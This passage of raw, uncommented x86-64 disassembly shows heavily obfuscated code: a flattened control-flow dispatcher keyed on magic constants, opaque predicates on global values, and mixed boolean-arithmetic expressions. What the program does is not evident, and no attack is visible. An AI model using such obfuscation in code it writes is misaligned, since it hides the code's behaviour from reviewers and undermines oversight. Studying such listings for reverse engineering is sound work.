and r9b, r8b
and cl, bl
or cl, r9b
mov eax, ebx
and al, r8b
xor bl, r8b
or bl, al
xor cl, 1
mov eax, ecx
xor al, bl
or cl, bl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
and al, cl
xor al, 1
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
mov ecx, eax
xor cl, 1
mov ebx, edx
xor bl, cl
and bl, dl
and cl, dl
xor dl, 1
and al, dl
or cl, al
mov eax, ebx
xor al, cl
test al, 1
mov eax, 0xaed3e73f
mov edx, 0x52acbd0c
cmovne eax, edx
test cl, 1
mov ecx, eax
cmovne ecx, edx
test bl, 1
jmp 0x1401a26bd
cmp eax, 0x3e3e2b7f
jg 0x140177648
cmp eax, 0x3df01643
je 0x14017d673
cmp eax, 0x3df49584
jne 0x14016c950
mov eax, 0xb070f0b1
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xecb2708
jg 0x140177673
cmp eax, 0xdca6071
je 0x14017d688
cmp eax, 0xe086f81
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0x1bfd049c
and ecx, edx
not edx
mov ebx, edx
and ebx, 0x1bfd049c
mov edi, ebx
and edi, ecx
xor ecx, ebx
or ecx, edi
mov ebx, ecx
not ebx
and ebx, 0x16c5ebf0
and ecx, 0xe93a140f
or ecx, ebx
xor ecx, 0xd38ef6d
mov ebx, ecx
and ebx, edx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x9149acb
and ecx, 0xf6eb6534
or ecx, edx
xor ecx, 0xf6eb6534
setne dl
sete bl
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
and al, bl
and dl, cl
or dl, al
mov eax, ecx
and al, bl
xor cl, bl
or al, cl
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
xor dl, 1
mov r8d, ecx
xor r8b, dl
or dl, cl
xor dl, 1
or dl, r8b
xor dl, al
xor bl, al
xor al, 1
or al, cl
xor al, 1
or al, bl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x92b31808
mov ebx, 0x79b93cf
cmovne eax, ebx
test dl, 1
cmove eax, ebx
test cl, 1
mov ecx, 0x92b31808
jmp 0x1401a14db
cmp eax, 0x6ee3f7e3
jg 0x14017780c
cmp eax, 0x6ea4c56c
je 0x14017d795
cmp eax, 0x6ec3374d
jne 0x14016c950
mov eax, 0x681058c6
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x34dc048e
jg 0x1401778f4
cmp eax, 0x343b48a9
je 0x14017d880
cmp eax, 0x34d0dcfe
jne 0x14016c950
mov eax, 0x925c2051
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x602fa341
jg 0x1401779d6
cmp eax, 0x5fb1c4ed
je 0x14017d987
cmp eax, 0x60172318
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea edi, [rdx - 1]
imul edi, edx
mov r9d, edi
not r9d
mov ebx, r9d
and ebx, 0x15134a
mov edx, edi
and edx, 0x84202c84
or edx, ebx
mov ebx, edx
xor ebx, 0x84202484
xor edx, 0x7bdfd37b
mov ecx, edi
xor ecx, 0x84353fce
and ecx, edi
mov eax, ecx
not eax
mov esi, edx
and esi, 0x38c41a5b
and ebx, 0x84312584
or ebx, esi
or edx, eax
and eax, 0x38c41a5b
and ecx, 0xc73be5a4
or ecx, eax
xor ecx, ebx
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0x7bcac030
and edx, 0x84353fcf
or edx, eax
and r9d, 0x4d0dc47c
and edi, 0xb2f23b83
or edi, r9d
mov eax, edi
xor eax, 0xb2b03a81
mov ebx, edx
not ebx
mov ecx, ebx
and ecx, 0x444b813a
and edx, 0xbbb47ec5
or edx, ecx
xor edi, 0x44098038
and edi, 0x444b813a
and eax, 0xbbb47ec5
or eax, edi
xor eax, edx
not eax
or eax, ebx
cmp eax, 0xffffffff
sete r9b
setne r10b
cmp r8d, 0xa
setl cl
cmp r8d, 9
setg al
mov edx, r10d
and dl, al
or r10b, cl
and cl, r9b
or cl, dl
xor cl, 1
or cl, al
mov edx, ecx
xor dl, 1
or al, r9b
mov ebx, eax
xor bl, r10b
or al, r10b
xor al, 1
or al, bl
mov r8d, eax
xor r8b, 1
and dl, cl
mov ebx, r8d
and bl, al
mov r9d, ecx
and r9b, dl
xor dl, cl
or dl, r9b
xor bl, 1
mov r9d, eax
xor r9b, bl
or bl, al
xor bl, 1
or bl, r9b
mov eax, edx
xor al, 1
and al, bl
xor bl, 1
and bl, dl
or bl, al
mov eax, ecx
and al, r8b
xor r8b, cl
or r8b, al
mov eax, r8d
xor al, bl
test r8b, 1
mov ecx, 0xf91b8ae1
mov edx, 0x921ea30e
cmovne ecx, edx
test bl, 1
cmove ecx, edx
test al, 1
mov eax, 0xf91b8ae1
jmp 0x1401a26bd
cmp eax, 0x2429e219
jg 0x140177adb
cmp eax, 0x23af401c
je 0x14017daa2
cmp eax, 0x23b26c00
jne 0x14016c950
mov eax, dword [0x1402656c8]
mov ecx, dword [0x1402656c4]
lea esi, [rax - 1]
imul esi, eax
mov eax, esi
not eax
mov ebx, eax
and ebx, 0x3a226218
mov edi, esi
and edi, 0xc5dd9de7
or edi, ebx
mov ebx, edi
not ebx
and ebx, 0xadaae7ea
and edi, 0x52551815
or edi, ebx
mov edx, edi
xor edx, 0x68777a0c
xor edi, 0x978885f3
and eax, edi
and edx, esi
or edx, eax
not edx
or edx, edi
cmp edx, 0xffffffff
setne r8b
sete r9b
cmp ecx, 9
setg al
cmp ecx, 0xa
setl r11b
mov ebx, r9d
xor bl, r8b
and bl, r9b
mov ecx, eax
or cl, bl
xor bl, 1
or bl, r11b
xor bl, 1
xor cl, 1
mov r10d, ebx
and r10b, cl
xor cl, bl
or cl, r10b
and r8b, r11b
and al, r9b
or al, r8b
mov ebx, r11d
and bl, r9b
xor r11b, r9b
or r11b, bl
mov edx, r11d
xor dl, al
xor al, 1
xor dl, 1
or al, r11b
xor al, 1
or al, dl
xor al, cl
and cl, al
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x60d4d51f
mov ebx, 0x8a57ce
cmovne edx, ebx
test al, 1
mov eax, 0x60d4d51f
jmp 0x1401a2f66
cmp eax, 0x7ce676ba
jg 0x140177ca9
cmp eax, 0x7cce9789
je 0x14017db9a
cmp eax, 0x7cdc1060
jne 0x14016c950
mov ecx, dword [0x1402656c8]
lea eax, [rcx - 1]
imul eax, ecx
mov ebx, eax
not ebx
mov edx, ebx
and edx, 0x4207018
mov ecx, eax
and ecx, 0x289487a2
or ecx, edx
xor ecx, 0x289487a2
mov edx, eax
xor edx, 0x2cb4f7ba
and edx, eax
mov edi, ecx
and edi, edx
xor edx, ecx
or edx, edi
mov ecx, edx
not ecx
and ecx, 0xd34b0844
and edx, 0x2cb4f7bb
or edx, ecx
mov ecx, edx
not ecx
mov edi, edx
and edi, 0xc1f96c22
and ecx, 0x3e0693dd
or ecx, edi
or edx, eax
and eax, 0xc1f96c22
and ebx, 0x3e0693dd
or ebx, eax
xor ebx, ecx
not edx
or edx, ebx
cmp edx, 0xffffffff
setne al
cmp dword [0x1402656c4], 9
setg cl
mov edx, ecx
and dl, al
xor cl, al
or dl, cl
mov ebx, edx
xor bl, 1
and dl, cl
xor cl, 1
mov eax, ebx
xor al, cl
and al, bl
and cl, bl
or cl, dl
mov edx, eax
xor dl, cl
test cl, cl
mov ecx, 0x3ac92cb
mov ebx, 0x1354bd20
cmovne ecx, ebx
test al, al
mov eax, 0x3ac92cb
cmove ecx, eax
test dl, dl
jmp 0x14019b002
cmp eax, 0x46616968
jg 0x140177df2
cmp eax, 0x464cf986
je 0x14017dd5b
cmp eax, 0x465d9cfd
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rdx - 1]
imul ebx, edx
mov edi, ebx
not edi
mov edx, edi
and edx, 0xfffffffe
mov ecx, ebx
xor ecx, 0xfffffffe
and ecx, ebx
mov esi, edx
and esi, ecx
xor ecx, edx
or ecx, esi
mov edx, ecx
not edx
and edx, 0x5ba80f14
and ecx, 0xa457f0eb
or ecx, edx
xor ecx, 0xa457f0eb
and edi, 0xdd89c6a5
and ebx, 0x2276395a
or ebx, edi
xor ebx, 0x2276395a
mov edx, ecx
and edx, ebx
xor ebx, ecx
or ebx, edx
mov ecx, ebx
not ecx
and ecx, 0x7c8783d7
and ebx, 0x83787c28
or ebx, ecx
xor ebx, 0x83787c28
sete cl
setne r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg r9b
mov eax, ebx
and bl, r8b
and r8b, r9b
and al, cl
or al, r8b
mov edx, eax
xor dl, r9b
and dl, al
and cl, r9b
or bl, cl
xor bl, dl
mov eax, ebx
xor al, 1
and dl, al
xor al, dl
test al, 1
mov eax, 0x17ace703
mov ecx, 0x56402df
cmovne eax, ecx
test bl, bl
mov ecx, eax
mov ebx, 0x17ace703
jmp 0x14018c625
cmp eax, 0x2603880
jg 0x140177fb1
cmp eax, 0x23da680
je 0x14017df5d
cmp eax, 0x256e3cb
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebx, edx
and ebx, 0xe693a9ad
xor edx, 0x2faedb1f
and edx, ecx
and ecx, 0x196c5652
or ecx, ebx
mov r9d, ecx
xor r9d, 0x196c5652
mov esi, ecx
xor esi, 0x36c28d4d
and esi, r9d
mov ebx, esi
not ebx
mov eax, edx
not eax
mov edi, ebx
and edi, 0xc62db8be
and esi, 0x39d24741
or esi, edi
or ebx, eax
and eax, 0xc62db8be
and edx, 0x39d24741
or edx, eax
xor edx, esi
not ebx
or ebx, edx
mov eax, ebx
not eax
and eax, 0x2faedb1e
and ebx, 0xd05124e1
or ebx, eax
and r9d, 1
xor ecx, 0x196c5653
or ecx, r9d
not ecx
mov eax, ebx
and eax, ecx
xor ecx, ebx
or ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0x56566891
and edx, ecx
not ecx
and ecx, 0x16162801
and eax, 0x40404090
or eax, ecx
xor eax, 0x40404090
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
mov eax, edx
not eax
and eax, 0x8d3f46d4
and edx, 0x72c0b92b
or edx, eax
mov eax, edx
xor eax, 0x24124120
xor edx, 0xb400445
and edx, 0xbc494df
and eax, 0xf43b6b20
or eax, edx
mov ecx, eax
xor ecx, 0x143a2100
xor eax, 0xac090cc
and eax, 0xeac1daec
and ecx, 0x153e2513
or ecx, eax
xor ecx, 0x153e2513
sete r9b
setne cl
cmp r8d, 9
setg dl
cmp r8d, 0xa
setl r8b
mov eax, ecx
xor al, r8b
mov ebx, edx
xor bl, r9b
and bl, dl
and cl, r8b
and dl, r9b
or dl, cl
mov ecx, ebx
and cl, dl
xor dl, bl
or dl, cl
mov ecx, eax
xor cl, dl
or dl, al
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x6bd81c0b
mov ebx, 0x1aed5def
cmovne eax, ebx
test cl, cl
mov ecx, eax
mov ebx, 0x6bd81c0b
jmp 0x1401848d0
cmp eax, 0x67493089
jg 0x140178129
cmp eax, 0x671562a7
je 0x14017e06d
cmp eax, 0x67190658
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov eax, ecx
not eax
mov edi, ecx
or edi, 0x918936ee
mov esi, edi
not esi
mov edx, eax
or edx, 0x6e76c911
mov ebx, edx
not ebx
and edi, 0x47a574e8
and esi, 0x28528911
or esi, edi
and edx, 0x47a574e8
and ebx, 0x90080206
or ebx, edx
xor ebx, esi
mov edx, ebx
not edx
and edx, 0x918936ef
and ebx, 0x6e76c910
or ebx, edx
mov edx, ebx
not edx
and edx, 0x89e1aea6
and ebx, 0x761e5159
or ebx, edx
xor ebx, 0x761e5159
and eax, 0x6a64e29b
and ecx, 0x959b1d64
or ecx, eax
xor ecx, 0x959b1d64
mov eax, ebx
and eax, ecx
xor ecx, ebx
or ecx, eax
cmp ecx, 0xffffffff
sete al
setne cl
cmp r8d, 9
setg dl
cmp r8d, 0xa
setl bl
and cl, bl
and dl, al
or dl, cl
mov ecx, ebx
and cl, al
xor bl, al
or bl, cl
xor bl, 1
mov eax, edx
and al, bl
xor bl, dl
or bl, al
xor bl, dl
and dl, bl
mov eax, ebx
xor al, dl
test bl, 1
mov ecx, 0xe99f432d
mov ebx, 0xa1cbc577
cmovne ecx, ebx
test dl, dl
cmove ecx, ebx
test al, 1
mov eax, 0xe99f432d
jmp 0x1401a26bd
cmp eax, 0x28d60212
jg 0x140178154
cmp eax, 0x281f11ee
je 0x14017e15b
cmp eax, 0x28ac4d07
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edi, ecx
not edi
mov edx, ecx
and edx, 0xcd857549
and edi, 0x327a8ab6
or edi, edx
mov edx, edi
xor edx, 0x4c014140
or edx, 0xa1f434bd
mov esi, edx
not esi
or ecx, 0x5e0bcb42
mov ebx, ecx
not ebx
and edx, 0xc739d301
and esi, 0x18020842
or esi, edx
and ecx, 0xc739d301
and ebx, 0x20c424bc
or ebx, ecx
xor ebx, esi
mov edx, ebx
not edx
and edx, 0x920a7f7b
and ebx, 0x6df58084
or ebx, edx
mov edx, ebx
xor edx, 0x32980041
mov ecx, edi
and ecx, 1
xor edi, 0x327a8ab7
or edi, ecx
mov ecx, edi
not ecx
xor ebx, 0xcc01b438
mov esi, ebx
and esi, 0x89665f9e
and edx, 0x7699a061
or edx, esi
or ebx, edi
and edi, 0x89665f9e
and ecx, 0x7699a061
or ecx, edi
xor ecx, edx
not ebx
or ebx, ecx
mov edx, ebx
mov ecx, ebx
xor ecx, 0xaddeadef
and ecx, ebx
not ebx
and ebx, 0xad9c8985
and edx, 0x42246a
or edx, ebx
xor edx, 0x42246a
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x52215210
and ecx, 0xaddeadef
or ecx, edx
setne cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg al
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
mov ebx, ecx
or bl, dl
xor bl, 1
xor cl, dl
not cl
and cl, dl
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ecx
and cl, al
xor al, 1
xor dl, 1
mov ebx, eax
xor bl, dl
and bl, al
and dl, al
or dl, cl
mov eax, ebx
xor al, dl
test al, 1
mov eax, 0xbafcbd82
mov edi, 0x1c38e2fd
jmp 0x14019b175
cmp eax, 0x5629df07
jg 0x1401782c5
cmp eax, 0x55be2506
je 0x14017e170
cmp eax, 0x55cd49bf
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rdx - 1]
imul ebx, edx
mov edi, ebx
not edi
mov edx, edi
and edx, 0x2c01860a
mov ecx, ebx
and ecx, 0x50d03164
or ecx, edx
xor ecx, 0x50d03164
mov edx, ebx
xor edx, 0x7cd1b76e
and edx, ebx
mov esi, ecx
and esi, edx
xor edx, ecx
or edx, esi
mov ecx, edx
not ecx
and ecx, 0x832e4890
and edx, 0x7cd1b76f
or edx, ecx
and edi, 0xb36e573e
and ebx, 0x4c91a8c1
or ebx, edi
mov ecx, ebx
xor ecx, 0x88c0
mov edi, edx
not edi
mov esi, edi
and esi, 0x6dd92439
and edx, 0x9226dbc6
or edx, esi
xor ebx, 0x21480438
and ebx, 0x6dd92439
and ecx, 0x9226dbc6
or ecx, ebx
xor ecx, edx
xor edi, ecx
test edi, ecx
setne r8b
sete r9b
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
mov r10d, eax
xor r10b, r9b
mov ecx, r10d
xor cl, 1
or al, r9b
xor al, 1
xor bl, r8b
mov edx, eax
and dl, bl
xor bl, al
or bl, dl
mov eax, r10d
and al, cl
xor al, 1
mov edx, eax
xor dl, cl
or al, cl
xor al, 1
or al, dl
mov ecx, eax
and al, bl
xor bl, 1
xor cl, 1
and cl, bl
or al, cl
mov ecx, r10d
xor cl, bl
or bl, r10b
xor bl, 1
or bl, cl
mov ecx, ebx
xor cl, al
test bl, 1
mov edx, 0x454cbe2
mov ebx, 0xc5118964
cmovne edx, ebx
test al, 1
cmove edx, ebx
test cl, 1
mov eax, 0x454cbe2
jmp 0x1401a0e8b
cmp eax, 0x1974db8a
jg 0x140178433
cmp eax, 0x18e46bd0
je 0x14017e24a
cmp eax, 0x196c2388
jne 0x14016c950
mov eax, 0xbda58a56
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x741937cf
jg 0x14017864b
cmp eax, 0x7405b08f
je 0x14017e25f
cmp eax, 0x7418a9d7
jne 0x14016c950
mov eax, 0x68cf5a93
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x3d50f721
jg 0x140178766
cmp eax, 0x3cdd8413
je 0x14017e274
cmp eax, 0x3d1d6e4d
jne 0x14016c950
mov eax, 0xa3a775ea
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x51e6c5f7
jg 0x14017887b
cmp eax, 0x513066b3
je 0x14017e409
cmp eax, 0x519a1fc1
jne 0x14016c950
mov eax, 0x5419c94d
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xbb566c3
jg 0x140178a75
cmp eax, 0xb88817c
je 0x14017e448
cmp eax, 0xbaac698
jne 0x14016c950
mov ecx, dword [0x1402656c8]
lea edx, [rcx - 1]
imul edx, ecx
mov r8d, edx
not r8d
mov ecx, edx
or ecx, 0x8c52a4a6
mov ebx, ecx
not ebx
mov eax, edx
xor eax, 0x73ad5b59
and eax, edx
mov esi, eax
not esi
mov edi, ecx
and edi, 0xb0b534ee
and ebx, 0x43084b11
or ebx, edi
or ecx, esi
and esi, 0xb0b534ee
and eax, 0x4f4acb11
or eax, esi
xor eax, ebx
not ecx
or ecx, eax
mov eax, ecx
not eax
and eax, 0xae41254d
and ecx, 0x51bedab2
or ecx, eax
mov ebx, ecx
xor ebx, 0x221381ea
xor ecx, 0xc44c0a15
and r8d, 0xbd2f4fef
and edx, 0x42d0b010
or edx, r8d
mov eax, edx
xor eax, 0x42508010
xor edx, 0xbd2f4fef
mov edi, ebx
and edi, 0x39a07400
and ecx, 0xc65f8bff
or ecx, edi
or ebx, edx
and edx, 0x39a07400
and eax, 0xc65f8bff
or eax, edx
xor eax, ecx
not ebx
or ebx, eax
cmp ebx, 0xffffffff
setne r8b
sete al
cmp dword [0x1402656c4], 9
setg cl
mov ebx, eax
or bl, cl
xor bl, 1
xor al, cl
not al
and al, cl
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov edx, ecx
xor dl, r8b
mov ebx, edx
xor bl, 1
or cl, r8b
xor cl, 1
or cl, dl
xor dl, cl
xor dl, 1
or cl, bl
xor cl, 1
or cl, dl
xor cl, al
and al, cl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x741937d0
mov ebx, 0x85b65237
cmovne edx, ebx
test cl, 1
mov ecx, 0x741937d0
jmp 0x14018e805
cmp eax, 0x6d9a1820
jg 0x140178c69
cmp eax, 0x6cfff2b5
je 0x14017e663
cmp eax, 0x6d38cf77
jne 0x14016c950
mov eax, 0x45ce2846
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x327d0bef
jg 0x140178d85
cmp eax, 0x32636117
je 0x14017e782
cmp eax, 0x32691916
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x251a80c
mov ebx, edx
and ebx, 0x10040370
or ebx, ecx
xor ebx, 0x10040370
and edx, 0xedaa5483
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0x50bc4de2
and edx, 0xaf43b21d
or edx, ecx
mov ebx, edx
xor ebx, 0xbd161961
xor edx, 0x2098002
and edx, 0x8f098102
mov ecx, ebx
and ecx, 0x70f67efd
or ecx, edx
mov edx, ecx
xor edx, 0x70f67efd
mov edi, ecx
xor edi, 0xe8cddff5
and edi, edx
and ebx, 0x983ba108
mov esi, edi
and esi, ebx
xor ebx, edi
or ebx, esi
mov edi, ebx
not edi
and edi, 0x983ba109
and ebx, 0x67c45ef6
or ebx, edi
xor ecx, 0x80102
and ecx, 0x404e5193
mov edi, edx
and edi, 0xbfb1ae6c
or edi, ecx
xor edi, 0x404e5192
and edx, 1
or edx, edi
mov ecx, edx
not ecx
and ecx, 0x2fadca32
and edx, 0xd05235cd
or edx, ecx
mov edi, edx
xor edi, 0x50003484
xor edx, 0x2fadca32
mov ecx, ebx
not ecx
mov esi, ecx
and esi, 0xab724b5b
and ebx, 0x548db4a4
or ebx, esi
or ecx, edx
and edx, 0xab724b5b
and edi, 0x548db4a4
or edi, edx
xor edi, ebx
not ecx
or ecx, edi
mov edx, ecx
not edx
mov ebx, ecx
and ebx, 0x4b9ee81b
and edx, 0xb46117e4
or edx, ebx
xor edx, 0x4b9ee81b
xor ecx, edx
test ecx, edx
sete r8b
setne dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
or dl, al
or bl, r8b
mov ecx, ebx
xor cl, dl
or bl, dl
xor bl, 1
or bl, cl
mov ecx, r8d
xor cl, al
and al, r8b
or al, cl
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
mov edx, ebx
xor dl, 1
and cl, dl
or dl, al
and al, bl
or al, cl
mov ecx, edx
xor cl, al
test al, 1
mov eax, 0xdbab72d4
mov ebx, 0xbf50c61f
cmovne eax, ebx
test dl, 1
mov edx, 0xdbab72d4
jmp 0x14019dc59
cmp eax, 0x5e438350
jg 0x140178db0
cmp eax, 0x5dfb3957
je 0x14017e820
cmp eax, 0x5e3eec4b
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, 0x400080
mov edi, ecx
and edi, 0x18110a0f
or edi, edx
xor edi, 0x18110a0f
mov edx, ecx
xor edx, 0x18510a8f
and edx, ecx
mov esi, edi
and esi, edx
xor edx, edi
or edx, esi
mov edi, edx
not edi
and edi, 0x244745d1
and edx, 0xdbb8ba2e
or edx, edi
xor edx, 0x3c164f5f
and ebx, 0x4aaf8a86
and ecx, 0xb5507579
or ecx, ebx
xor ecx, 0xb5507579
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x25ae2ce0
and ecx, 0xda51d31f
or ecx, edx
xor ecx, 0xda51d31f
setne r8b
sete r9b
cmp eax, 9
setg cl
cmp eax, 0xa
setl dl
mov eax, edx
xor al, cl
and al, dl
mov ebx, r9d
xor bl, r8b
and bl, r9b
mov edx, ebx
xor dl, 1
or dl, al
xor al, 1
xor dl, 1
or al, bl
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, ecx
xor dl, r8b
or cl, r8b
xor cl, 1
or cl, dl
xor cl, 1
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
xor cl, al
and al, cl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0xf250e334
mov ebx, 0x7afa23fe
cmovne edx, ebx
test cl, 1
mov ecx, 0xf250e334
jmp 0x140195e0e
cmp eax, 0x21f6cf32
jg 0x140178f2c
cmp eax, 0x2128239f
je 0x14017e839
cmp eax, 0x21dd73c7
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov edi, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebx, edx
xor ebx, 0xfffffffe
and ebx, ecx
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov edx, ecx
xor edx, 0x6ee052d3
and edx, ecx
not ecx
and ecx, 0x6ee052d3
mov ebx, ecx
and ebx, edx
xor edx, ecx
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0x845bac44
and edx, 0x7ba453bb
or edx, ecx
mov ecx, edx
xor ecx, 0x4000020
xor edx, 0xeabbfe97
mov ebx, edx
and ebx, 0xb9fdb7d9
and ecx, 0x46024826
or ecx, ebx
xor ecx, 0x46024826
or ecx, edx
cmp ecx, 0xffffffff
sete r8b
setne r9b
cmp edi, 9
setg al
cmp edi, 0xa
setl cl
mov r10d, ecx
xor r10b, r9b
mov edx, r10d
xor dl, 1
and r9b, cl
or cl, r8b
and al, r8b
or al, r9b
xor al, 1
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
mov ebx, eax
xor bl, 1
and dl, r10b
mov ecx, eax
and cl, bl
mov r8d, r10d
and r8b, dl
xor dl, r10b
or dl, r8b
xor cl, 1
mov r8d, ebx
xor r8b, cl
or cl, bl
xor cl, 1
or cl, r8b
xor cl, dl
mov edx, r10d
and dl, al
xor al, r10b
or al, dl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0x1361130a
mov ebx, 0x4f52f271
cmovne eax, ebx
test cl, 1
cmove eax, ebx
test dl, 1
mov ecx, 0x1361130a
jmp 0x1401a14db
cmp eax, 0x7be8c2cc
jg 0x140179013
cmp eax, 0x7bc48cee
je 0x14017e84e
cmp eax, 0x7be52f31
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edi, [rcx - 1]
imul edi, ecx
mov edx, edi
not edx
mov ecx, edx
and ecx, 0x120ace04
mov ebx, edi
and ebx, 0xe0000030
or ebx, ecx
xor ebx, 0xe0000030
mov ecx, edi
and ecx, 0xdf531cb
or ecx, ebx
mov ebx, ecx
not ebx
and ebx, 0xdf531ca
and ecx, 0xf20ace35
or ecx, ebx
mov ebx, ecx
not ebx
and ebx, 0xa50d9bb2
and ecx, 0x5af2644d
or ecx, ebx
mov ebx, ecx
xor ebx, 0x4852640c
xor ecx, 0xa50d9bb2
mov esi, ecx
and esi, 0x37a01273
and ebx, 0xc85fed8c
or ebx, esi
or ecx, edi
and edi, 0x37a01273
and edx, 0xc85fed8c
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x44eb92fa
and ecx, 0xbb146d05
or ecx, edx
xor ecx, 0xbb146d05
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
xor cl, dl
or dl, bl
or bl, r8b
xor bl, 1
or bl, cl
or al, r8b
mov ecx, eax
xor cl, dl
or al, dl
xor al, 1
or al, cl
mov ecx, ebx
xor cl, al
xor al, 1
or al, bl
mov edx, ecx
xor dl, al
test cl, cl
mov ecx, 0x7b0ad4c4
mov ebx, 0xa867a78
cmovne ecx, ebx
test al, 1
mov r12d, 0xa867a78
cmovne ecx, ebx
not dl
test dl, 1
mov eax, 0x7b0ad4c4
jmp 0x1401a26bd
cmp eax, 0x45b7fde6
jg 0x1401791e8
cmp eax, 0x452d78fc
je 0x14017e9c9
cmp eax, 0x4549ac1d
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, ecx
xor ebx, 0x9d1475ff
and ebx, ecx
or ecx, 0x62eb8a00
mov edi, ebx
not edi
mov esi, ecx
and esi, 0xc2cdb963
and edx, 0x1d10449c
or edx, esi
or ecx, edi
and edi, 0xc2cdb963
and ebx, 0x3d32469c
or ebx, edi
xor ebx, edx
not ecx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x62eb8a00
and ecx, 0x9d1475ff
or ecx, edx
mov esi, ecx
mov edi, ecx
xor edi, 0xe6d39be8
and edi, ecx
not ecx
and ecx, 0xdbf69c88
and esi, 0x24096377
or esi, ecx
mov ecx, esi
xor ecx, 0x24096377
mov ebx, esi
xor ebx, 0x3d250760
and ebx, ecx
mov edx, ebx
not edx
mov eax, edi
not eax
mov r9d, edx
and r9d, 0xf0f4f669
and ebx, 0xf0b0996
or ebx, r9d
or edx, eax
and eax, 0xf0f4f669
and edi, 0xf0b0996
or edi, eax
xor edi, ebx
not edx
or edx, edi
mov eax, edx
not eax
and eax, 0x192c6416
and edx, 0xe6d39be9
or edx, eax
xor esi, 0x41000880
and esi, 0x65080bb6
mov eax, ecx
and eax, 0x9af7f449
or eax, esi
xor eax, 0x65080bb7
and ecx, 1
or ecx, eax
mov eax, ecx
not eax
and eax, 0x2ff99afa
and ecx, 0xd0066505
or ecx, eax
xor ecx, 0xd0066505
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, ecx
not eax
and eax, 0xe16fba3c
and ecx, 0x1e9045c3
or ecx, eax
mov eax, ecx
not eax
and eax, 0xd508ab9e
and ecx, 0x2af75461
or ecx, eax
mov eax, ecx
xor eax, 0x81100818
xor ecx, 0x4041022
and ecx, 0x4e8cf667
and eax, 0xb1730998
or eax, ecx
mov ecx, eax
xor ecx, 0x80510080
xor eax, 0x4c809063
and eax, 0x7da2997b
and ecx, 0x825d6684
or ecx, eax
xor ecx, 0x7da2997b
cmp ecx, 0xffffffff
sete bl
cmp r8d, 9
setg r9b
cmp r8d, 0xa
setl cl
mov eax, ebx
xor al, cl
